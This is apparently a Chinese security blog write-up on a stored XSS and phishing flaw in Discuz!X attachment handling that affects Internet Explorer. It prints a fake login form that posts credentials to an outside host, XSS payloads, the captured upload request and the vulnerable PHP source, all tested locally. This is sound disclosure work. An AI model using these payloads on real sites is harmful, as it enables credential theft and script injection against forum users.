Is that a vulnerability?

好呀,亲们。在这个假期中,我闲着无聊,挖了挖漏洞,发现了一个存储型xss以及可制作钓鱼链接页面(仅限IE浏览器下),接下来,我将分享我发现漏洞的全过程。

存储型xss以及可制作钓鱼链接页面(仅限IE浏览器下)

配置测试环境

首先,我们可以前往https://github.com/codersclub/DiscuzX下载版本源码,当然,https://gitee.com/ComsenzDiscuz/DiscuzX才是最新的源码,所以我十分推荐使用后面的链接去下载。毕竟官方源码推荐的下载链接就是后面那个。

1570418412590

下载下来的压缩包解压,发现目录结构如下

1570418592460

其中upload 这个目录下面的所有文件是我们需要上传到服务器上的可用程序文件;
readme 目录为产品介绍、授权、安装、升级、转换以及版本更新日志说明;
utility 目录为论坛附带工具,包括升级程序。

我们只需将upload这个目录下的所有文件上传到web服务的根目录。

因为我这里使用的是phpstudy进行测试的,其中的PHP5.6.27-NTS版本,mysql为其默认自带的

1570418457725

所以web服务的根目录也就是我phpstudy的网站根目录

1570418766583

解压完毕后,只需要直接访问http://127.0.0.1/install 即可进入到安装页面,进行安装。安装完,正常画面如下

1570419158790

这里为了方便测试,右上角的登陆框,我直接使用自己安装时配置的管理员用户admin进行测试操作(不然可能注册一个新的账号,还要两分钟的等待时间才能发帖)

开始测试

为了方便抓包,这里我使用了虚拟机的192.68.37.1,其实是一样的

1570424527515

我们进入默认版块,进行发帖

1570424455813

然后准备一个上传的gz文件,名字任意,这里我使用的名为dc2f5a0961efdbb88c7ececd54586e15.gz,内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
<meta charset="utf-8">
<title>weclome</title>
<style type="text/css">
.auto-style1 { text-align: center; }
</style>
</head>
<body>
<h2 class="auto-style1"></h2>
<form action="http://www.pr05aic.com/php_homework_2/login.php" method="post" class="auto-style1">
<label for="username" class="label">useraname:</label>
<input id="username" name="username" type="text" class="input" />
<p/>
<p>
<label for="phone" class="label">paasword:</label>
<input id="phone" name="phone" type="text" class="input" />
<p/>
<p>
<input type="submit" name="submit" value="login" class="left" />
&nbsp;&nbsp;&nbsp;
<input type="submit" name="clear" value="register" class="left" />
</p>
</form>
</body>
</html>

按下图操作

1570424739479

然后接着我们将附件插入其中

1570424855711

发布下这个帖子,得到下面这个

1570424923922

再接着,我们看下这个附件的地址

1570424980976

http://192.168.37.1/forum.php?mod=attachment&aid=MnwyZGNjYWQ5OXwxNTcwNDI0OTExfDF8Mg%3D%3D

打开谷歌、火狐、ie浏览器均可访问该链接,接着我们在后面加个&request=yes&_f=.gz,得到的构造链接如下

http://192.168.37.1/forum.php?mod=attachment&aid=MnwyZGNjYWQ5OXwxNTcwNDI0OTExfDF8Mg%3D%3D&request=yes&_f=.gz

我们使用火狐和谷歌浏览器去访问还是正常的下载gz文件,但是如果使用ie浏览器,就会发现它是一个单独的页面,我们可以制作一个存储型的xss和钓鱼页面

1570425119091

1570425135187

1570425142504

漏洞成因

上传的附件,只检验文件尾名,不去检验提交的文件内容

我们来分析下漏洞成因,首先看下抓的上传包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
POST /misc.php?mod=swfupload&operation=upload&simple=1 HTTP/1.1
Host: 192.168.37.1
Content-Length: 1325
Cache-Control: max-age=0
Origin: http://192.168.37.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb0A1qoUHaDo2pHOA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.37.1/forum.php?mod=post&action=reply&fid=2&extra=&tid=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SxLL_2132_saltkey=hf831u8Y; SxLL_2132_lastvisit=1570420753; SxLL_2132_sid=lLApnJ; SxLL_2132_ulastactivity=7f74aggltgsX8stWVn0dHC22CREp5rj2vwJdaRW8F6%2BfFZeqHLXh; SxLL_2132_auth=c92b5sn42aAORoi8fFJHpGWMdsEiBsg%2BfR%2FZ0qBlRadcfwxYEbP2hua2xrgHDmnI%2Bd0KSaO%2F6Dn5NAemJ39e; SxLL_2132_lastcheckfeed=1%7C1570424389; SxLL_2132_lip=127.0.0.1%2C1570424187; SxLL_2132_editormode_e=1; SxLL_2132_smile=1D1; SxLL_2132_forum_lastvisit=D_2_1570424411; SxLL_2132_visitedfid=2; SxLL_2132_st_t=1%7C1570424550%7Cad58ea44ff7b1591b0cfee70e6ad722b; SxLL_2132_viewid=tid_2; SxLL_2132_st_p=1%7C1570425313%7C01ac7e964b56832314c49f310fdc350e; SxLL_2132_checkpm=1; SxLL_2132_sendmail=1; SxLL_2132_seccode=41.dede40cb711a4f3b6e; SxLL_2132_lastact=1570425321%09misc.php%09patch
Connection: close

------WebKitFormBoundaryb0A1qoUHaDo2pHOA
Content-Disposition: form-data; name="uid"

1
------WebKitFormBoundaryb0A1qoUHaDo2pHOA
Content-Disposition: form-data; name="hash"

efc1b5ee4bd75cc5fa9e6cb1f0f08f81
------WebKitFormBoundaryb0A1qoUHaDo2pHOA
Content-Disposition: form-data; name="Filedata"; filename="dc2f5a0961efdbb88c7ececd54586e15.gz"
Content-Type: application/x-gzip

<html>
<script>alert(1)</script>
<script>alert(document.domain)</script>
<head>
<meta charset="utf-8">
<title>weclome</title>
<style type="text/css">
.auto-style1 { text-align: center; }
</style>
</head>
<body>
<h2 class="auto-style1"></h2>
<form action="http://www.pr05aic.com/php_homework_2/login.php" method="post" class="auto-style1">
<label for="username" class="label">useraname:</label>
<input id="username" name="username" type="text" class="input" />
<p/>
<p>
<label for="phone" class="label">paasword:</label>
<input id="phone" name="phone" type="text" class="input" />
<p/>
<p>
<input type="submit" name="submit" value="login" class="left" />
&nbsp;&nbsp;&nbsp;
<input type="submit" name="clear" value="register" class="left" />
</p>
</form>
</body>
</html>

------WebKitFormBoundaryb0A1qoUHaDo2pHOA--

1570425443253

这似乎上传的文件,只是检测是否还有.gz这个文件尾,没有对文件的内容头部和尾部去检验。

attach:\\x.gz引起的附件链接显示

我们可以看到上传的附件插入后,在文本框中显示的是[attach]x[attach]

但实际上这个漏洞发现的成因是我在某个论坛上发现的,操作还是跟上面一样,只要第一次上传附件只要迅速点下附件插入,就会是attach://xxxx.gz,而不是[attach]xxxxx[/attach]

1570427706759

保存后,发现这条存在问题的链接也就出来了,也就是因为&request=yes,导致这漏洞的成因。

1570427762559

源代码分析

因为出于是&request=yes的考虑,所以我去寻找了源码中所有的request参数,最后我发现下面两个可疑点

1570428144259

我们来看下/source/module/forum/forum_attachment.php其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
<?php

/**
* [Discuz!] (C)2001-2099 Comsenz Inc.
* This is NOT a freeware, use is subject to license terms
*
* $Id: forum_attachment.php 34304 2014-01-15 11:11:23Z nemohou $
*/

if(!defined('IN_DISCUZ')) {
exit('Access Denied');
}
define('NOROBOT', TRUE);
@list($_GET['aid'], $_GET['k'], $_GET['t'], $_GET['uid'], $_GET['tableid']) = daddslashes(explode('|', base64_decode($_GET['aid'])));

$requestmode = !empty($_GET['request']) && empty($_GET['uid']);
$aid = intval($_GET['aid']);
$k = $_GET['k'];
$t = $_GET['t'];
$authk = !$requestmode ? substr(md5($aid.md5($_G['config']['security']['authkey']).$t.$_GET['uid']), 0, 8) : md5($aid.md5($_G['config']['security']['authkey']).$t);

if($k != $authk) {
if(!$requestmode) {
showmessage('attachment_nonexistence');
} else {
exit;
}
}

if(!empty($_GET['findpost']) && ($attach = C::t('forum_attachment')->fetch($aid))) {
dheader('location: forum.php?mod=redirect&goto=findpost&pid='.$attach['pid'].'&ptid='.$attach['tid']);
}

if($_GET['uid'] != $_G['uid'] && $_GET['uid']) {
$_G['uid'] = $_GET['uid'] = intval($_GET['uid']);
$member = getuserbyuid($_GET['uid']);
loadcache('usergroup_'.$member['groupid']);
$_G['group'] = $_G['cache']['usergroup_'.$member['groupid']];
$_G['group']['grouptitle'] = $_G['cache']['usergroup_'.$_G['groupid']]['grouptitle'];
$_G['group']['color'] = $_G['cache']['usergroup_'.$_G['groupid']]['color'];
}


$tableid = 'aid:'.$aid;

if($_G['setting']['attachexpire']) {

if(TIMESTAMP - $t > $_G['setting']['attachexpire'] * 3600) {
$aid = intval($aid);
if($attach = C::t('forum_attachment_n')->fetch($tableid, $aid)) {
if($attach['isimage']) {
dheader('location: '.$_G['siteurl'].'static/image/common/none.gif');
} else {
if(!$requestmode) {
showmessage('attachment_expired', '', array('aid' => aidencode($aid, 0, $attach['tid']), 'pid' => $attach['pid'], 'tid' => $attach['tid']));
} else {
exit;
}
}
} else {
if(!$requestmode) {
showmessage('attachment_nonexistence');
} else {
exit;
}
}
}
}

$readmod = getglobal('config/download/readmod');
$readmod = $readmod > 0 && $readmod < 5 ? $readmod : 2;

$refererhost = parse_url($_SERVER['HTTP_REFERER']);
$serverhost = $_SERVER['HTTP_HOST'];
if(($pos = strpos($serverhost, ':')) !== FALSE) {
$serverhost = substr($serverhost, 0, $pos);
}

if(!$requestmode && $_G['setting']['attachrefcheck'] && $_SERVER['HTTP_REFERER'] && !($refererhost['host'] == $serverhost)) {
showmessage('attachment_referer_invalid', NULL);
}

periodscheck('attachbanperiods');

loadcache('threadtableids');
$threadtableids = !empty($_G['cache']['threadtableids']) ? $_G['cache']['threadtableids'] : array();
if(!in_array(0, $threadtableids)) {
$threadtableids = array_merge(array(0), $threadtableids);
}
$archiveid = in_array($_GET['archiveid'], $threadtableids) ? intval($_GET['archiveid']) : 0;


$attachexists = FALSE;
if(!empty($aid) && is_numeric($aid)) {
$attach = C::t('forum_attachment_n')->fetch($tableid, $aid);
$thread = C::t('forum_thread')->fetch_by_tid_displayorder($attach['tid'], 0, '>=', null, $archiveid);
if($_G['uid'] && $attach['uid'] != $_G['uid']) {
if($attach) {
$attachpost = C::t('forum_post')->fetch($thread['posttableid'], $attach['pid'], false);
$attach['invisible'] = $attachpost['invisible'];
unset($attachpost);
}
if($attach && $attach['invisible'] == 0) {
$thread && $attachexists = TRUE;
}
} else {
$attachexists = TRUE;
}
}

if(!$attachexists) {
if(!$requestmode) {
showmessage('attachment_nonexistence');
} else {
exit;
}
}

if(!$requestmode) {
$forum = C::t('forum_forumfield')->fetch_info_for_attach($thread['fid'], $_G['uid']);

$_GET['fid'] = $forum['fid'];

if($attach['isimage']) {
$allowgetattach = !empty($forum['allowgetimage']) || (($_G['group']['allowgetimage'] || $_G['uid'] == $attach['uid']) && !$forum['getattachperm']) || forumperm($forum['getattachperm']);
} else {
$allowgetattach = !empty($forum['allowgetattach']) || (($_G['group']['allowgetattach'] || $_G['uid'] == $attach['uid']) && !$forum['getattachperm']) || forumperm($forum['getattachperm']);
}
if($allowgetattach && ($attach['readperm'] && $attach['readperm'] > $_G['group']['readaccess']) && $_G['adminid'] <= 0 && !($_G['uid'] && $_G['uid'] == $attach['uid'])) {
showmessage('attachment_forum_nopermission', NULL, array(), array('login' => 1));
}

$ismoderator = in_array($_G['adminid'], array(1, 2)) ? 1 : ($_G['adminid'] == 3 ? C::t('forum_moderator')->fetch_uid_by_tid($attach['tid'], $_G['uid'], $archiveid) : 0);

$ispaid = FALSE;
$exemptvalue = $ismoderator ? 128 : 16;
if(!$thread['special'] && $thread['price'] > 0 && (!$_G['uid'] || ($_G['uid'] != $attach['uid'] && !($_G['group']['exempt'] & $exemptvalue)))) {
if(!$_G['uid'] || $_G['uid'] && !($ispaid = C::t('common_credit_log')->count_by_uid_operation_relatedid($_G['uid'], 'BTC', $attach['tid']))) {
showmessage('attachment_payto', 'forum.php?mod=viewthread&tid='.$attach['tid']);
}
}

$exemptvalue = $ismoderator ? 64 : 8;
if($attach['price'] && (!$_G['uid'] || ($_G['uid'] != $attach['uid'] && !($_G['group']['exempt'] & $exemptvalue)))) {
$payrequired = $_G['uid'] ? !C::t('common_credit_log')->count_by_uid_operation_relatedid($_G['uid'], 'BAC', $attach['aid']) : 1;
$payrequired && showmessage('attachement_payto_attach', 'forum.php?mod=misc&action=attachpay&aid='.$attach['aid'].'&tid='.$attach['tid']);
}
}

$isimage = $attach['isimage'];
$_G['setting']['ftp']['hideurl'] = $_G['setting']['ftp']['hideurl'] || ($isimage && !empty($_GET['noupdate']) && $_G['setting']['attachimgpost'] && strtolower(substr($_G['setting']['ftp']['attachurl'], 0, 3)) == 'ftp');

if(empty($_GET['nothumb']) && $attach['isimage'] && $attach['thumb']) {
$db = DB::object();
$db->close();
!$_G['config']['output']['gzip'] && ob_end_clean();
dheader('Content-Disposition: inline; filename='.getimgthumbname($attach['filename']));
dheader('Content-Type: image/pjpeg');
if($attach['remote']) {
$_G['setting']['ftp']['hideurl'] ? getremotefile(getimgthumbname($attach['attachment'])) : dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.getimgthumbname($attach['attachment']));
} else {
getlocalfile($_G['setting']['attachdir'].'/forum/'.getimgthumbname($attach['attachment']));
}
exit();
}

$filename = $_G['setting']['attachdir'].'/forum/'.$attach['attachment'];
if(!$attach['remote'] && !is_readable($filename)) {
if(!$requestmode) {
showmessage('attachment_nonexistence');
} else {
exit;
}
}


if(!$requestmode) {
if(!$ispaid && !$forum['allowgetattach']) {
if(!$forum['getattachperm'] && !$allowgetattach) {
showmessage('getattachperm_none_nopermission', NULL, array(), array('login' => 1));
} elseif(($forum['getattachperm'] && !forumperm($forum['getattachperm'])) || ($forum['viewperm'] && !forumperm($forum['viewperm']))) {
showmessagenoperm('getattachperm', $forum['fid']);
}
}

$exemptvalue = $ismoderator ? 32 : 4;
if(!$isimage && !($_G['group']['exempt'] & $exemptvalue)) {
$creditlog = updatecreditbyaction('getattach', $_G['uid'], array(), '', 1, 0, $thread['fid']);
if($creditlog['updatecredit']) {
if($_G['uid']) {
$k = $_GET['ck'];
$t = $_GET['t'];
if(empty($k) || empty($t) || $k != substr(md5($aid.$t.md5($_G['config']['security']['authkey'])), 0, 8) || TIMESTAMP - $t > 3600) {
dheader('location: forum.php?mod=misc&action=attachcredit&aid='.$attach['aid'].'&formhash='.FORMHASH);
exit();
}
} else {
showmessage('attachment_forum_nopermission', NULL, array(), array('login' => 1));
}
}
}

}

$range = 0;
if($readmod == 4 && !empty($_SERVER['HTTP_RANGE'])) {
list($range) = explode('-',(str_replace('bytes=', '', $_SERVER['HTTP_RANGE'])));
}

if(!$requestmode && !$range && empty($_GET['noupdate'])) {
if($_G['setting']['delayviewcount']) {
$_G['forum_logfile'] = './data/cache/forum_attachviews_'.intval(getglobal('config/server/id')).'.log';
if(substr(TIMESTAMP, -1) == '0') {
attachment_updateviews($_G['forum_logfile']);
}

if(@$fp = fopen(DISCUZ_ROOT.$_G['forum_logfile'], 'a')) {
fwrite($fp, "$aid\n");
fclose($fp);
} elseif($_G['adminid'] == 1) {
showmessage('view_log_invalid', '', array('logfile' => $_G['forum_logfile']));
}
} else {
C::t('forum_attachment')->update_download($aid);
}
}

$db = DB::object();
$db->close();
!$_G['config']['output']['gzip'] && ob_end_clean();


if($attach['remote'] && !$_G['setting']['ftp']['hideurl'] && $isimage) {
dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.$attach['attachment']);
}

$filesize = !$attach['remote'] ? filesize($filename) : $attach['filesize'];
$attach['filename'] = '"'.(strtolower(CHARSET) == 'utf-8' && strexists($_SERVER['HTTP_USER_AGENT'], 'MSIE') ? urlencode($attach['filename']) : $attach['filename']).'"';

dheader('Date: '.gmdate('D, d M Y H:i:s', $attach['dateline']).' GMT');
dheader('Last-Modified: '.gmdate('D, d M Y H:i:s', $attach['dateline']).' GMT');
dheader('Content-Encoding: none');

if($isimage && !empty($_GET['noupdate']) || !empty($_GET['request'])) {
dheader('Content-Disposition: inline; filename='.$attach['filename']);
} else {
dheader('Content-Disposition: attachment; filename='.$attach['filename']);
}
if($isimage) {
dheader('Content-Type: image');
} else {
dheader('Content-Type: application/octet-stream');
}

dheader('Content-Length: '.$filesize);

$xsendfile = getglobal('config/download/xsendfile');
if(!empty($xsendfile)) {
$type = intval($xsendfile['type']);
if($isimage){
$type = 0;
}
$cmd = '';
switch ($type) {
case 1: $cmd = 'X-Accel-Redirect'; $url = $xsendfile['dir'].$attach['attachment']; break;
case 2: $cmd = $_SERVER['SERVER_SOFTWARE'] <'lighttpd/1.5' ? 'X-LIGHTTPD-send-file' : 'X-Sendfile'; $url = $filename; break;
case 3: $cmd = 'X-Sendfile'; $url = $filename; break;
}
if($cmd) {
dheader("$cmd: $url");
exit();
}
}

if($readmod == 4) {
dheader('Accept-Ranges: bytes');
if(!empty($_SERVER['HTTP_RANGE'])) {
$rangesize = ($filesize - $range) > 0 ? ($filesize - $range) : 0;
dheader('Content-Length: '.$rangesize);
dheader('HTTP/1.1 206 Partial Content');
dheader('Content-Range: bytes='.$range.'-'.($filesize-1).'/'.($filesize));
}
}

$attach['remote'] ? getremotefile($attach['attachment']) : getlocalfile($filename, $readmod, $range);

function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}

function getlocalfile($filename, $readmod = 2, $range = 0) {
if($readmod == 1 || $readmod == 3 || $readmod == 4) {
if($fp = @fopen($filename, 'rb')) {
@fseek($fp, $range);
if(function_exists('fpassthru') && ($readmod == 3 || $readmod == 4)) {
@fpassthru($fp);
} else {
echo @fread($fp, filesize($filename));
}
}
@fclose($fp);
} else {
@readfile($filename);
}
@flush(); @ob_flush();
}

function attachment_updateviews($logfile) {
$viewlog = $viewarray = array();
$newlog = DISCUZ_ROOT.$logfile.random(6);
if(@rename(DISCUZ_ROOT.$logfile, $newlog)) {
$viewlog = file($newlog);
unlink($newlog);
if(is_array($viewlog) && !empty($viewlog)) {
$viewlog = array_count_values($viewlog);
foreach($viewlog as $id => $views) {
if($id > 0) {
$viewarray[$views][] = intval($id);
}
}
foreach($viewarray as $views => $ids) {
C::t('forum_attachment')->update_download($ids, $views);
}
}
}
}

?>

首先,在第16行,这里有判断request是否为空

1570428303489

其次在第224行,这里有通过判断一个分支,继而去决定Content-Disposition

1570428400740

而这个Content-Disposition是什么呢?请看Content-Disposition

1570428587575
到这里,我想,答案也就揭晓了,除了这个分支之外,我想IE的解析方式也是造成这个漏洞形成的重要原因,关于这一点,我想推荐一篇漏洞报告https://anotherhackerblog.com/exploiting-file-uploads-pt1/

其中有提到IE浏览器的解析方式

1570430126652

当然,如果还有其他发现,我会补充的,待续……

0%